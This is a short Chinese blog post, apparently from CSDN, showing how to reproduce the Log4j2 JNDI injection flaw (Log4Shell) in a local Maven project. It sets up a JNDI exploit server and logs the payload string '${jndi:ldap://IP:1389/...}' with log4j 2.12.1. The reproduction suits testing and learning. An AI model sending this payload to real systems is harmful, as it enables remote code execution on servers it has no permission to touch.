最近大家应该都有被log4j2的JNDI注入漏洞搞的心烦意乱,当程序将用户输入的数据进行日志输出时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
以下为改问题的复现方法:
1、首先下载JNDI-Injection 起 RMI 或者 LDAP 服务
![](https://img-blog.csdnimg.cn/e3ee59e0954d4cc994e416ae7c58113b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YCX56We44CC,size_20,color_FFFFFF,t_70,g_se,x_16)
②使用以下命令启动服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
如下为启动后的截图,马赛克仅为我的ip
![](https://img-blog.csdnimg.cn/c1c727d03cf34356953e7f8ad8f951d9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YCX56We44CC,size_20,color_FFFFFF,t_70,g_se,x_16)
2、本地新建一个maven项目
①pom引用如下
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.1</version>
</dependency>
②直接使用main方法输出日志,代码如下,你的ip 需要自己修改:
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error(" ${jndi:ldap://你的ip:1389/log4jtest}");
}
}
3、ldap服务端有日志输出,则说明问题复现,如下截图
![](https://img-blog.csdnimg.cn/c6df101295dc49488a7a2d1f584b1ae2.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YCX56We44CC,size_20,color_FFFFFF,t_70,g_se,x_16)